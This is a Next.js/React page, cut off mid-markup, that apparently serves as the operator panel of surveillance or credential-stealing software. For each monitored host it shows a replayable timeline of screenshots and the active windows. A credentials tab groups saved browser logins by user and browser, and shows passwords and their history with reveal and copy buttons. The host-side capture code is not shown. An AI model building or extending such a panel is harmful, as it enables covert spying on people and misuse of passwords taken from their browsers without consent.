"use client";

import { useState, useEffect, useRef, useMemo, useCallback } from 'react';
import { useParams, useRouter } from 'next/navigation';
import {
  ArrowLeft,
  RefreshCcw,
  ChevronDown,
  User,
  Globe,
  Link,
  Clipboard,
  ShieldAlert,
  Loader2,
  Star
} from 'lucide-react';
import { format, differenceInMinutes } from 'date-fns';
import TimelineSlider from './components/TimelineSlider';
import RecordDatePicker from './components/RecordDatePicker';

interface Screenshot {
  fileId: string;
  filename: string;
  monitorName: string;
}

interface Window {
  title: string;
  path: string;
  memory: number;
}

interface ScreenRecord {
  id: string;
  timestamp: string;
  isStarred: boolean;
  windows: Window[];
  screenshots: Screenshot[];
}

interface TimeDistributionPoint {
  count: number;
  timestamp: number;
}

interface Password {
  value: string;
  timestamp: string;
}

interface Credential {
  _id: string;
  hostname: string;
  username: string;
  browser: string;
  url: string;
  login: string;
  passwords: Password[];
  lastSyncTime: Date;
}

interface BrowserGroup {
  name: string;
  credentials: Credential[];
}

interface UserGroup {
  username: string;
  browsers: BrowserGroup[];
  total: number;
  lastSyncTime?: string;
}

interface Segment {
  start: number;
  end: number;
  active: boolean;
}

interface Marker {
  time: number;
  label?: string;
  active?: boolean;
}

export default function HostDetail() {
  const params = useParams();
  const router = useRouter();
  const hostname = params.hostname as string;

  // 状态管理
  const [activeTab, setActiveTab] = useState('screenshots');
  const [timeDistribution, setTimeDistribution] = useState<TimeDistributionPoint[]>([]);
  const [records, setRecords] = useState<ScreenRecord[]>([]);
  const [selectedRecord, setSelectedRecord] = useState<ScreenRecord | null>(null);
  const [loadingDistribution, setLoadingDistribution] = useState(false);
  const [loadingRecords, setLoadingRecords] = useState(false);
  const [showDetailTimeline, setShowDetailTimeline] = useState(false);
  const [lastUpdate, setLastUpdate] = useState<string | null>(null);

  // 星标相关状态
  const [starredRecords, setStarredRecords] = useState<ScreenRecord[]>([]);
  const [loadingStarred, setLoadingStarred] = useState(false);
  const [updatingStars, setUpdatingStars] = useState<Set<string>>(new Set());

  // 凭据相关状态
  const [credentials, setCredentials] = useState<Credential[]>([]);
  const [loadingCredentials, setLoadingCredentials] = useState(false);
  const [expandedUsers, setExpandedUsers] = useState<string[]>([]);
  const [expandedBrowsers, setExpandedBrowsers] = useState<string[]>([]);
  const [expandedCredentials, setExpandedCredentials] = useState<string[]>([]);
  const [revealedPasswords, setRevealedPasswords] = useState<string[]>([]);

  // 日历和滑块状态
  const [selectedDate, setSelectedDate] = useState<string | null>(null);
  const [timeRange, setTimeRange] = useState({ min: 0, max: 0 });
  const [hourlySliderValue, setHourlySliderValue] = useState(0);
  const [detailedSliderValue, setDetailedSliderValue] = useState(0);

  // 播放控制
  const [currentFrameIndex, setCurrentFrameIndex] = useState(-1);
  const [autoPlay, setAutoPlay] = useState(false);
  const [autoPlaySpeed, setAutoPlaySpeed] = useState(100);
  const [imagesLoadedCount, setImagesLoadedCount] = useState(0);
  const [imageAspectRatio, setImageAspectRatio] = useState(16 / 9);
  const autoPlayTimer = useRef<NodeJS.Timeout | null>(null);
  const wheelDeltaAccumulator = useRef(0);

  // 格式化内存大小
  const formatMemory = (bytes: number | string) => {
    bytes = typeof bytes === 'string' ? parseInt(bytes, 10) : bytes;
    const units = ['B', 'KB', 'MB', 'GB'];
    let size = bytes;
    let unitIndex = 0;
    while (size >= 1024 && unitIndex < units.length - 1) {
      size /= 1024;
      unitIndex++;
    }
    return `${size.toFixed(1)} ${units[unitIndex]}`;
  };

  // 格式化日期
  const formatDate = (date: string, type: 'full' | 'short' = 'full') => {
    if (type === 'short') {
      return format(new Date(date), 'MM-dd HH:mm');
    }
    return format(new Date(date), 'yyyy-MM-dd HH:mm:ss');
  };

  // 获取时间分布数据
  const fetchTimeDistribution = async () => {
    try {
      setLoadingDistribution(true);
      const response = await fetch(`/hosts/${hostname}/time-distribution`);
      if (!response.ok) throw new Error('获取时间分布数据失败');
      const data = await response.json();
      setTimeDistribution(data.distribution);
    } catch (error) {
      console.error('获取时间分布数据失败:', error);
    } finally {
      setLoadingDistribution(false);
    }
  };

  // 获取星标记录
  const fetchStarredRecords = async () => {
    try {
      setLoadingStarred(true);
      const response = await fetch(`/hosts/${hostname}/starred`);
      if (!response.ok) throw new Error('获取星标记录失败');
      const data = await response.json();
      setStarredRecords(data.records);
    } catch (error) {
      console.error('获取星标记录失败:', error);
    } finally {
      setLoadingStarred(false);
    }
  };

  // 切换星标状态
  const toggleRecordStar = async (recordId: string) => {
    if (updatingStars.has(recordId)) return;

    try {
      setUpdatingStars(prev => new Set(prev).add(recordId));
      const response = await fetch(`/api/records/${recordId}/star`, {
        method: 'PATCH'
      });

      if (!response.ok) throw new Error('切换星标状态失败');
      const data = await response.json();

      // 更新当前记录列表中的星标状态
      setRecords(prev => prev.map(record =>
        record.id === recordId
          ? { ...record, isStarred: data.isStarred }
          : record
      ));

      // 更新选中记录的星标状态
      if (selectedRecord && selectedRecord.id === recordId) {
        setSelectedRecord(prev => prev ? { ...prev, isStarred: data.isStarred } : null);
      }

      // 如果在星标页面，更新星标记录列表
      if (activeTab === 'starred') {
        if (data.isStarred) {
          // 如果变为星标，重新获取星标列表
          fetchStarredRecords();
        } else {
          // 如果取消星标，从列表中移除
          setStarredRecords(prev => prev.filter(record => record.id !== recordId));
        }
      }

    } catch (error) {
      console.error('切换星标状态失败:', error);
    } finally {
      setUpdatingStars(prev => {
        const newSet = new Set(prev);
        newSet.delete(recordId);
        return newSet;
      });
    }
  };

  // 批量操作星标记录
  const batchToggleStars = async (recordIds: string[], action: 'star' | 'unstar') => {
    try {
      const response = await fetch(`/hosts/${hostname}/starred`, {
        method: 'POST',
        headers: {
          'Content-Type': 'application/json'
        },
        body: JSON.stringify({
          action,
          recordIds
        })
      });

      if (!response.ok) throw new Error('批量操作星标失败');
      const data = await response.json();

      const isStarred = action === 'star';

      // 更新当前记录列表中的星标状态
      setRecords(prev => prev.map(record =>
        recordIds.includes(record.id)
          ? { ...record, isStarred }
          : record
      ));

      // 更新选中记录的星标状态（如果存在）
      if (selectedRecord && recordIds.includes(selectedRecord.id)) {
        setSelectedRecord(prev => prev ? { ...prev, isStarred } : null);
      }

      // 如果在星标页面，重新获取星标记录列表
      if (activeTab === 'starred') {
        fetchStarredRecords();
      }

      return data;

    } catch (error) {
      console.error('批量操作星标失败:', error);
      throw error;
    }
  };

  // 获取凭据数据
  const fetchCredentials = async () => {
    try {
      setLoadingCredentials(true);
      const response = await fetch(`/hosts/${hostname}/credentials`);
      if (!response.ok) throw new Error('获取凭据数据失败');
      const data = await response.json();
      setCredentials(data);

      if (data.length > 0) {
        const firstUser = data[0].username;
        if (!expandedUsers.includes(firstUser)) {
          setExpandedUsers([firstUser]);
        }
      }
    } catch (error) {
      console.error('获取凭据数据失败:', error);
    } finally {
      setLoadingCredentials(false);
    }
  };

  // 获取小时记录
  const fetchHourlyRecords = async (startTime: number, endTime: number) => {
    try {
      setLoadingRecords(true);
      setShowDetailTimeline(true);
      const response = await fetch(
        `/hosts/${hostname}/screenshots?startTime=${startTime}&endTime=${endTime}`
      );
      if (!response.ok) throw new Error('获取记录数据失败');
      const data = await response.json();
      setRecords(data.records.reverse());
      setLastUpdate(data.lastUpdate);
      setTimeRange({ min: startTime * 1000, max: endTime * 1000 });

      requestAnimationFrame(() => {
        setSelectedRecord(data.records[0]);
      });
    } catch (error) {
      console.error('获取记录数据失败:', error);
    } finally {
      setLoadingRecords(false);
    }
  };

  // 组织凭据数据按用户分组
  const credentialsByUser = useMemo<UserGroup[]>(() => {
    const userMap = new Map<string, Credential[]>();

    credentials.forEach(cred => {
      if (!userMap.has(cred.username)) {
        userMap.set(cred.username, []);
      }
      userMap.get(cred.username)!.push(cred);
    });

    const result: UserGroup[] = [];

    userMap.forEach((userCreds, username) => {
      const latestSyncTime = userCreds.reduce((latest, cred) => {
        const credTime = new Date(cred.lastSyncTime);
        return credTime > latest ? credTime : latest;
      }, new Date(0)).toISOString();

      const browserMap = new Map<string, Credential[]>();

      userCreds.forEach(cred => {
        if (!browserMap.has(cred.browser)) {
          browserMap.set(cred.browser, []);
        }
        browserMap.get(cred.browser)!.push(cred);
      });

      const browsers: BrowserGroup[] = [];
      browserMap.forEach((browserCreds, browserName) => {
        browsers.push({
          name: browserName,
          credentials: browserCreds
        });
      });

      result.push({
        username,
        browsers,
        total: userCreds.length,
        lastSyncTime: latestSyncTime
      });
    });

    return result;
  }, [credentials]);

  // 日历相关计算
  const dailyCounts = useMemo(() => {
    const map: Record<string, number> = {};
    timeDistribution.forEach(point => {
      const d = new Date(point.timestamp * 1000);
      const dateStr = `${d.getFullYear()}-${(d.getMonth() + 1).toString().padStart(2, '0')}-${d.getDate().toString().padStart(2, '0')}`;
      map[dateStr] = (map[dateStr] || 0) + point.count;
    });
    return map;
  }, [timeDistribution]);

  // 小时分布滑块相关计算
  const hourlyMinTime = useMemo(() => {
    if (selectedDate) {
      const [year, month, day] = selectedDate.split('-').map(Number);
      const dayStart = new Date(year, month - 1, day);
      return dayStart.getTime();
    }
    if (timeDistribution.length === 0) return Date.now();
    const minSec = Math.min(...timeDistribution.map(d => d.timestamp));
    return minSec * 1000;
  }, [selectedDate, timeDistribution]);

  const hourlyMaxTime = useMemo(() => {
    if (selectedDate) {
      const [year, month, day] = selectedDate.split('-').map(Number);
      const dayStart = new Date(year, month - 1, day);
      const dayEnd = new Date(dayStart);
      dayEnd.setDate(dayStart.getDate() + 1);
      return dayEnd.getTime();
    }
    if (timeDistribution.length === 0) return Date.now();
    const maxSec = Math.max(...timeDistribution.map(d => d.timestamp));
    return (maxSec + 3599) * 1000;
  }, [selectedDate, timeDistribution]);

  const hourlySegments = useMemo(() => {
    const segments: Segment[] = [];
    if (selectedDate) {
      const [year, month, day] = selectedDate.split('-').map(Number);
      const dayStart = new Date(year, month - 1, day);
      const startSec = Math.floor(dayStart.getTime() / 1000);
      const dayEnd = new Date(dayStart);
      dayEnd.setDate(dayEnd.getDate() + 1);
      const endSec = Math.floor(dayEnd.getTime() / 1000);

      for (let t = startSec; t < endSec; t += 3600) {
        const segStart = t * 1000;
        const segEnd = (t + 3600) * 1000;
        const data = timeDistribution.find(d => d.timestamp >= t && d.timestamp < t + 3600);
        segments.push({
          start: segStart,
          end: segEnd,
          active: !!data && data.count > 0
        });
      }
    } else {
      if (timeDistribution.length === 0) return segments;
      const startSec = Math.min(...timeDistribution.map(d => d.timestamp));
      const endSec = Math.max(...timeDistribution.map(d => d.timestamp));
      for (let t = startSec; t <= endSec; t += 3600) {
        const segStart = t * 1000;
        const segEnd = (t + 3600) * 1000;
        const data = timeDistribution.find(d => d.timestamp === t);
        segments.push({
          start: segStart,
          end: segEnd,
          active: data ? data.count > 0 : false
        });
      }
    }
    return segments;
  }, [selectedDate, timeDistribution]);

  // 详细时间点标记
  const detailedMarkers = useMemo(() => {
    return records.map(record => ({
      time: new Date(record.timestamp).getTime(),
      label: format(new Date(record.timestamp), 'HH:mm:ss'),
      active: true
    }));
  }, [records]);

  // 事件处理函数
  const onHourlySliderChange = (newValue: number) => {
    const selectedSec = Math.floor(newValue / 3600000) * 3600;

    // 使用 setTimeout 避免在渲染过程中更新状态
    setTimeout(() => {
      setHourlySliderValue(newValue);
      fetchHourlyRecords(selectedSec, selectedSec + 3600);
    }, 0);
  };

  const onDetailedSliderChange = (newValue: number) => {
    if (records.length === 0) return;
    const targetTime = newValue;
    let closestRecord = records[0];
    let minDiff = Math.abs(new Date(closestRecord.timestamp).getTime() - targetTime);

    for (const record of records) {
      const diff = Math.abs(new Date(record.timestamp).getTime() - targetTime);
      if (diff < minDiff) {
        minDiff = diff;
        closestRecord = record;
      }
    }

    // 使用 setTimeout 避免在渲染过程中更新状态
    setTimeout(() => {
      setSelectedRecord(closestRecord);
      setDetailedSliderValue(newValue);
    }, 0);
  };

  // 展开/折叠功能
  const toggleUserExpanded = (username: string) => {
    if (expandedUsers.includes(username)) {
      setExpandedUsers(expandedUsers.filter(u => u !== username));
    } else {
      setExpandedUsers([...expandedUsers, username]);
    }
  };

  const toggleBrowserExpanded = (browserKey: string) => {
    if (expandedBrowsers.includes(browserKey)) {
      setExpandedBrowsers(expandedBrowsers.filter(b => b !== browserKey));
    } else {
      setExpandedBrowsers([...expandedBrowsers, browserKey]);
    }
  };

  const toggleCredentialExpanded = (credId: string) => {
    if (expandedCredentials.includes(credId)) {
      setExpandedCredentials(expandedCredentials.filter(c => c !== credId));
    } else {
      setExpandedCredentials([...expandedCredentials, credId]);
    }
  };

  const revealPassword = (passwordKey: string) => {
    if (!revealedPasswords.includes(passwordKey)) {
      setRevealedPasswords([...revealedPasswords, passwordKey]);
    }
  };

  const copyToClipboard = async (text: string) => {
    try {
      await navigator.clipboard.writeText(text);
    } catch (err) {
      console.error('复制失败:', err);
    }
  };

  // 播放控制
  const nextFrame = () => {
    if (currentFrameIndex < records.length - 1) {
      setCurrentFrameIndex(currentFrameIndex + 1);
      setSelectedRecord(records[currentFrameIndex + 1]);
    } else {
      setAutoPlay(false);
    }
    stopAutoPlayTimer();
  };

  const prevFrame = () => {
    if (currentFrameIndex > 0) {
      setCurrentFrameIndex(currentFrameIndex - 1);
      setSelectedRecord(records[currentFrameIndex - 1]);
    }
    stopAutoPlayTimer();
  };

  const toggleAutoPlay = () => {
    setAutoPlay(!autoPlay);
  };

  const startAutoPlayTimer = useCallback(() => {

    if (autoPlay) {
      autoPlayTimer.current = setTimeout(() => {
        nextFrame();
      }, autoPlaySpeed);
    }
  }, [autoPlay, autoPlaySpeed, currentFrameIndex, records.length]);

  const stopAutoPlayTimer = () => {
    if (autoPlayTimer.current) {
      clearTimeout(autoPlayTimer.current);
      autoPlayTimer.current = null;
    }
  };

  const onImageLoad = (event: React.SyntheticEvent<HTMLImageElement>, fileId: string) => {
    setImagesLoadedCount(prev => prev + 1);
    const imgEl = event.target as HTMLImageElement;
    if (imgEl.naturalHeight !== 0) {
      setImageAspectRatio(imgEl.naturalWidth / imgEl.naturalHeight);
    }
  };

  // 键盘快捷键处理
  useEffect(() => {
    const handleKeyPress = (event: KeyboardEvent) => {
      // 防止在输入框中触发快捷键
      if (event.target instanceof HTMLInputElement || event.target instanceof HTMLTextAreaElement) {
        return;
      }

      switch (event.code) {
        case 'Space':
          event.preventDefault();
          toggleAutoPlay();
          break;
        case 'ArrowLeft':
          event.preventDefault();
          prevFrame();
          break;
        case 'ArrowRight':
          event.preventDefault();
          nextFrame();
          break;
        case 'KeyS':
          event.preventDefault();
          if (selectedRecord) {
            toggleRecordStar(selectedRecord.id);
          }
          break;
      }
    };

    document.addEventListener('keydown', handleKeyPress);
    return () => {
      document.removeEventListener('keydown', handleKeyPress);
    };
  }, [selectedRecord, toggleAutoPlay, prevFrame, nextFrame, toggleRecordStar]);

  // 滚轮事件处理
  useEffect(() => {
    const WHEEL_THRESHOLD = 20; // 累计多少像素后才切换（可调整）

    const handleWheel = (event: WheelEvent) => {
      // 累计水平滚动距离
      wheelDeltaAccumulator.current += event.deltaX;

      // 检查是否超过阈值
      if (Math.abs(wheelDeltaAccumulator.current) >= WHEEL_THRESHOLD) {
        if (wheelDeltaAccumulator.current < 0) {
          // 向左滚动，上一帧
          prevFrame();
        } else {
          // 向右滚动，下一帧
          nextFrame();
        }
        // 重置累计器
        wheelDeltaAccumulator.current = 0;
      }
    };

    document.addEventListener('wheel', handleWheel, { passive: true });
    return () => {
      document.removeEventListener('wheel', handleWheel);
      // 清理累计器
      wheelDeltaAccumulator.current = 0;
    };
  }, [prevFrame, nextFrame]);




  // Effects
  useEffect(() => {
    fetchTimeDistribution();
    fetchCredentials();
  }, [hostname]);

  useEffect(() => {
    if (activeTab === 'starred') {
      fetchStarredRecords();
    }
  }, [activeTab, hostname]);

  useEffect(() => {
    if (!selectedDate && Object.keys(dailyCounts).length > 0) {
      const dates = Object.keys(dailyCounts).sort();
      if (dates.length > 0) {
        setSelectedDate(dates[0]);
      }
    }
  }, [dailyCounts, selectedDate]);

  useEffect(() => {
    setHourlySliderValue(hourlyMinTime);
  }, [hourlyMinTime]);

  useEffect(() => {
    if (selectedDate) {
      const activeSegment = hourlySegments.find(s => s.active);
      const newValue = activeSegment ? activeSegment.start + 1800000 : hourlyMinTime;
      setHourlySliderValue(newValue);
      onHourlySliderChange(newValue);
    }
  }, [selectedDate, hourlySegments, hourlyMinTime]);

  useEffect(() => {
    setDetailedSliderValue(timeRange.min);
  }, [timeRange.min]);

  useEffect(() => {
    setImagesLoadedCount(0);

    if (selectedRecord) {
      const idx = records.findIndex(rec => rec.timestamp === selectedRecord.timestamp);
      setCurrentFrameIndex(idx);
      setDetailedSliderValue(new Date(selectedRecord.timestamp).getTime());
    }
    if (autoPlay) {
      startAutoPlayTimer();
    }
  }, [selectedRecord, records, autoPlay, startAutoPlayTimer]);

  useEffect(() => {
    if (autoPlay) {
      stopAutoPlayTimer();
      startAutoPlayTimer();
    }
  }, [autoPlay, autoPlaySpeed, startAutoPlayTimer]);

  return (
    <div className="min-h-screen bg-gray-50 dark:bg-gray-900 overflow-x-hidden">
      <div className="max-w-8xl mx-auto py-6 px-4 sm:px-6 lg:px-8">
        {/* 头部导航 */}
        <div className="flex items-center justify-between mb-8">
          <div>
            <button
              onClick={() => router.back()}
              className="inline-flex items-center text-gray-600 dark:text-gray-400 hover:text-gray-900 dark:hover:text-white"
            >
              <ArrowLeft className="h-5 w-5 mr-2" />
              返回
            </button>
            <h1 className="text-3xl font-semibold text-gray-900 dark:text-white mt-2">
              {decodeURI(hostname)}
            </h1>
          </div>
          {lastUpdate && (
            <div className="text-sm text-gray-500 dark:text-gray-400">
              最后更新: {formatDate(lastUpdate)}
            </div>
          )}
        </div>

        {/* 选项卡导航 */}
        <div className="mb-6 border-b border-gray-200 dark:border-gray-700">
          <nav className="-mb-px flex space-x-8">
            <button
              onClick={() => setActiveTab('screenshots')}
              className={`py-2 px-1 border-b-2 font-medium text-sm ${activeTab === 'screenshots'
                ? 'border-blue-600 text-blue-600'
                : 'border-transparent text-gray-500 dark:text-gray-400 hover:text-gray-700 dark:hover:text-gray-300 hover:border-gray-300 dark:hover:border-gray-600'
                }`}
            >
              截图时间线
            </button>
            <button
              onClick={() => setActiveTab('starred')}
              className={`py-2 px-1 border-b-2 font-medium text-sm flex items-center ${activeTab === 'starred'
                ? 'border-blue-600 text-blue-600'
                : 'border-transparent text-gray-500 dark:text-gray-400 hover:text-gray-700 dark:hover:text-gray-300 hover:border-gray-300 dark:hover:border-gray-600'
                }`}
            >
              <Star className="h-4 w-4 mr-1" />
              星标记录
            </button>
            <button
              onClick={() => setActiveTab('credentials')}
              className={`py-2 px-1 border-b-2 font-medium text-sm ${activeTab === 'credentials'
                ? 'border-blue-600 text-blue-600'
                : 'border-transparent text-gray-500 dark:text-gray-400 hover:text-gray-700 dark:hover:text-gray-300 hover:border-gray-300 dark:hover:border-gray-600'
                }`}
            >
              凭据信息
            </button>
          </nav>
        </div>

        {/* 截图时间线选项卡 */}
        {activeTab === 'screenshots' && (
          <div>
            {/* 小时分布滑块（时间分布） */}
            <div className="mb-8">
              <div className="flex justify-between items-center mb-4">
                <h2 className="text-lg font-medium text-gray-900 dark:text-white">时间分布</h2>
                <button
                  onClick={fetchTimeDistribution}
                  className="p-2 rounded hover:bg-gray-100 dark:hover:bg-gray-800"
                >
                  <RefreshCcw className={`h-5 w-5 text-gray-600 dark:text-gray-400 ${loadingDistribution ? 'animate-spin' : ''}`} />
                </button>
              </div>

              <RecordDatePicker
                value={selectedDate}
                dailyCounts={dailyCounts}
                onChange={setSelectedDate}
              />

              {hourlySegments.length > 0 ? (
                <div className="mt-4">
                  <TimelineSlider
                    minTime={hourlyMinTime}
                    maxTime={hourlyMaxTime}
                    value={hourlySliderValue}
                    mode="segments"
                    segments={hourlySegments}
                    onChange={onHourlySliderChange}
                  />
                </div>
              ) : (
                <div className="text-gray-500 dark:text-gray-400 mt-4">加载时间分布中...</div>
              )}
            </div>

            {/* 详细时间点滑块 */}
            {showDetailTimeline && (
              <div className="mb-8">
                <div className="flex justify-between items-center mb-4">
                  <h2 className="text-lg font-medium text-gray-900 dark:text-white">时间点详情</h2>
                  <button
                    onClick={() => {
                      const selectedSec = Math.floor(hourlySliderValue / 3600000) * 3600;
                      fetchHourlyRecords(selectedSec, selectedSec + 3600);
                    }}
                    className="p-2 rounded hover:bg-gray-100 dark:hover:bg-gray-800"
                  >
                    <RefreshCcw className={`h-5 w-5 text-gray-600 dark:text-gray-400 ${loadingRecords ? 'animate-spin' : ''}`} />
                  </button>
                </div>

                {records.length > 0 ? (
                  <TimelineSlider
                    minTime={timeRange.min}
                    maxTime={timeRange.max}
                    value={detailedSliderValue}
                    mode="ticks"
                    markers={detailedMarkers}
                    onChange={onDetailedSliderChange}
                  />
                ) : (
                  <div className="text-gray-500 dark:text-gray-400">加载记录中...</div>
                )}
              </div>
            )}

            {/* 图片预览区域及控制按钮 */}
            {selectedRecord && (
              <div className="bg-white dark:bg-gray-800 rounded-lg shadow-sm p-6">
                {
                  !(navigator as any).connection?.saveData &&
                  records.map(record => record.screenshots).flat()
                    .filter((_, index) => Math.abs(index - currentFrameIndex) <= 20)
                    .map(screenshot => <link rel="preload" key={screenshot.fileId} href={`/screenshots/${screenshot.fileId}`} as="image" />)
                }
                {/* 图片预览区域 */}
                {selectedRecord.screenshots.map((screenshot, sIndex) => (
                  <div key={sIndex} className="relative mb-6">
                    <div
                      className="relative w-full"
                      style={{ aspectRatio: imageAspectRatio }}
                    >
                      <img
                        src={`/screenshots/${screenshot.fileId}`}
                        alt={screenshot.monitorName}
                        className="absolute top-0 left-0 w-full h-full object-contain shadow-sm hover:shadow-md transition-shadow"
                        onLoad={(e) => onImageLoad(e, screenshot.fileId)}
                      />
                    </div>

                    {/* 图片说明 */}
                    <div className="absolute bottom-4 left-4 bg-black dark:bg-gray-900 bg-opacity-60 dark:bg-opacity-80 text-white px-2 py-1 rounded">
                      <div className="text-sm">{screenshot.monitorName}</div>
                      <div className="text-xs">
                        {new Date(selectedRecord.timestamp).toLocaleString()}
                      </div>
                    </div>

                    {/* 左侧点击区域 - 上一帧 */}
                    <div
                      onPointerDown={(e) => { e.preventDefault(); prevFrame(); }}
                      onTouchStart={(e) => e.preventDefault()}
                      className="absolute bottom-0 left-0 h-full w-1/3 text-white px-2 py-1 cursor-pointer"
                    />

                    {/* 右侧点击区域 - 下一帧 */}
                    <div
                      onPointerDown={(e) => { e.preventDefault(); nextFrame(); }}
                      onTouchStart={(e) => e.preventDefault()}
                      className="absolute bottom-0 right-0 h-full w-1/3 text-white px-2 py-1 cursor-pointer"
                    />
                  </div>
                ))}

                {/* 控制按钮区域 */}
                <div className="bg-gray-50 dark:bg-gray-700/50 rounded-xl p-4 mb-6 backdrop-blur-sm border border-gray-200/50 dark:border-gray-600/50">
                  <div className="flex flex-col sm:flex-row items-center justify-center gap-4">

                    {/* 速度控制 */}
                    <div className="flex items-center gap-3 bg-white dark:bg-gray-800 rounded-lg px-4 py-2.5 shadow-sm border border-gray-200 dark:border-gray-600">
                      <span className="text-sm font-medium text-gray-700 dark:text-gray-300 min-w-max">播放速度</span>
                      <div className="flex items-center gap-2">
                        <input
                          type="number"
                          value={autoPlaySpeed}
                          onChange={(e) => setAutoPlaySpeed(Number(e.target.value))}
                          className="w-20 text-sm px-3 py-1.5 border border-gray-300 dark:border-gray-500 rounded-md focus:outline-none focus:ring-2 focus:ring-blue-500 focus:border-transparent bg-white dark:bg-gray-700 text-gray-900 dark:text-white transition-colors"
                          min="0"
                          max="2000"
                          step="50"
                        />
                        <span className="text-sm text-gray-500 dark:text-gray-400 min-w-max">毫秒</span>
                      </div>
                    </div>

                    {/* 播放控制按钮 */}
                    <button
                      onClick={toggleAutoPlay}
                      className={`flex items-center gap-2 px-6 py-2.5 rounded-lg font-medium text-sm transition-all duration-200 shadow-sm ${autoPlay
                        ? 'bg-red-500 hover:bg-red-600 text-white shadow-red-500/25'
                        : 'bg-blue-500 hover:bg-blue-600 text-white shadow-blue-500/25'
                        } hover:shadow-lg hover:scale-105 focus:outline-none focus:ring-2 focus:ring-offset-2 ${autoPlay ? 'focus:ring-red-500' : 'focus:ring-blue-500'
                        }`}
                    >
                      {!autoPlay ? (
                        <>
                          <svg className="w-4 h-4" fill="currentColor" viewBox="0 0 20 20">
                            <path fillRule="evenodd" d="M10 18a8 8 0 100-16 8 8 0 000 16zM9.555 7.168A1 1 0 008 8v4a1 1 0 001.555.832l3-2a1 1 0 000-1.664l-3-2z" clipRule="evenodd" />
                          </svg>
                          播放
                        </>
                      ) : (
                        <>
                          <svg className="w-4 h-4" fill="currentColor" viewBox="0 0 20 20">
                            <path fillRule="evenodd" d="M18 10a8 8 0 11-16 0 8 8 0 0116 0zM7 8a1 1 0 012 0v4a1 1 0 11-2 0V8zm5-1a1 1 0 00-1 1v4a1 1 0 102 0V8a1 1 0 00-1-1z" clipRule="evenodd" />
                          </svg>
                          暂停
                        </>
                      )}
                    </button>

                    {/* 星标按钮 */}
                    <button
                      onClick={() => toggleRecordStar(selectedRecord.id)}
                      disabled={updatingStars.has(selectedRecord.id)}
                      className={`flex items-center gap-2 px-4 py-2.5 rounded-lg font-medium text-sm transition-all duration-200 shadow-sm border ${selectedRecord.isStarred
                        ? 'bg-yellow-50 hover:bg-yellow-100 dark:bg-yellow-900/20 dark:hover:bg-yellow-900/30 text-yellow-700 dark:text-yellow-400 border-yellow-200 dark:border-yellow-800 shadow-yellow-500/20'
                        : 'bg-white hover:bg-gray-50 dark:bg-gray-800 dark:hover:bg-gray-700 text-gray-600 dark:text-gray-400 border-gray-200 dark:border-gray-600 hover:text-yellow-600 dark:hover:text-yellow-400'
                        } ${updatingStars.has(selectedRecord.id)
                          ? 'opacity-50 cursor-not-allowed'
                          : 'hover:scale-105 hover:shadow-lg focus:outline-none focus:ring-2 focus:ring-offset-2 focus:ring-yellow-500'
                        }`}
                      title={selectedRecord.isStarred ? '取消星标' : '添加星标'}
                    >
                      {updatingStars.has(selectedRecord.id) ? (
                        <>
                          <Loader2 className="h-4 w-4 animate-spin" />
                          处理中
                        </>
                      ) : (
                        <>
                          <Star className={`h-4 w-4 ${selectedRecord.isStarred ? 'fill-current' : ''}`} />
                          {selectedRecord.isStarred ? '已收藏' : '收藏'}
                        </>
                      )}
                    </button>
                  </div>

                  {/* 快捷键提示 */}
                  <div className="mt-3 pt-3 border-t border-gray-200 dark:border-gray-600">
                    <div className="flex flex-wrap justify-center gap-4 text-xs text-gray-500 dark:text-gray-400">
                      <span className="flex items-center gap-1">
                        <kbd className="px-1.5 py-0.5 bg-gray-200 dark:bg-gray-600 rounded text-xs">空格</kbd>
                        播放/暂停
                      </span>
                      <span className="flex items-center gap-1">
                        <kbd className="px-1.5 py-0.5 bg-gray-200 dark:bg-gray-600 rounded text-xs">←/→</kbd>
                        上一帧/下一帧
                      </span>
                      <span className="flex items-center gap-1">
                        <kbd className="px-1.5 py-0.5 bg-gray-200 dark:bg-gray-600 rounded text-xs">S</kbd>
                        切换星标
                      </span>
                    </div>
                  </div>
                </div>

                {/* 窗口信息 */}
                <div className="w-full">
                  <h3 className="text-lg font-medium text-gray-900 dark:text-white mb-3">活动窗口</h3>
                  <div className="bg-gray-50 dark:bg-gray-700 rounded-md p-4">
                    <div className="grid grid-cols-1 sm:grid-cols-2 lg:grid-cols-3 xl:grid-cols-4 gap-4">
                      {selectedRecord.windows.map((window, index) => (
                        <div key={index} className="p-4 bg-white dark:bg-gray-800 rounded-md shadow-sm">
                          <div className="space-y-2">
                            <div className="font-medium text-gray-900 dark:text-white">
                              {window.title}
                            </div>
                            <div className="text-sm text-gray-500 dark:text-gray-400 break-all">
                              {window.path}
                            </div>
                            <div className="text-sm flex items-center text-gray-600 dark:text-gray-400">
                              内存占用: {formatMemory(window.memory)}
                            </div>
                          </div>
                        </div>
                      ))}
                    </div>
                  </div>
                </div>
              </div>
            )}
          </div>
        )}

        {/* 星标记录选项卡 */}
        {activeTab === 'starred' && (
          <div className="bg-white dark:bg-gray-800 rounded-lg shadow-sm p-6">
            <div className="flex items-center justify-between mb-6">
              <h2 className="text-xl font-medium text-gray-900 dark:text-white flex items-center">
                <Star className="h-6 w-6 mr-2 text-yellow-500" />
                星标记录
              </h2>
              <button
                onClick={fetchStarredRecords}
                className="px-3 py-1.5 bg-blue-600 hover:bg-blue-700 text-white text-sm rounded focus:outline-none flex items-center"
              >
                <RefreshCcw className={`h-4 w-4 mr-1 ${loadingStarred ? 'animate-spin' : ''}`} />
                刷新
              </button>
            </div>

            {/* 加载状态 */}
            {loadingStarred ? (
              <div className="flex justify-center py-12">
                <div className="animate-pulse flex flex-col items-center">
                  <Loader2 className="h-8 w-8 text-blue-600 animate-spin" />
                  <p className="mt-2 text-gray-500 dark:text-gray-400">加载星标记录...</p>
                </div>
              </div>
            ) : starredRecords.length === 0 ? (
              <div className="py-12 flex flex-col items-center justify-center">
                <Star className="h-12 w-12 text-gray-400 mb-3" />
                <p className="text-gray-500 dark:text-gray-400 mb-1">还没有星标记录</p>
                <p className="text-sm text-gray-400 dark:text-gray-500">在截图时间线中点击星标按钮来收藏重要记录</p>
              </div>
            ) : (
              <div className="grid grid-cols-1 md:grid-cols-2 lg:grid-cols-3 gap-6">
                {starredRecords.map((record) => (
                  <div key={record.id} className="border border-gray-200 dark:border-gray-700 rounded-lg overflow-hidden hover:shadow-md transition-shadow">
                    {/* 缩略图 */}
                    {record.screenshots.length > 0 && (
                      <div className="aspect-video bg-gray-100 dark:bg-gray-700">
                        <img
                          src={`/screenshots/${record.screenshots[0].fileId}`}
                          alt={record.screenshots[0].monitorName}
                          className="w-full h-full object-contain"
                        />
                      </div>
                    )}

                    {/* 记录信息 */}
                    <div className="p-4">
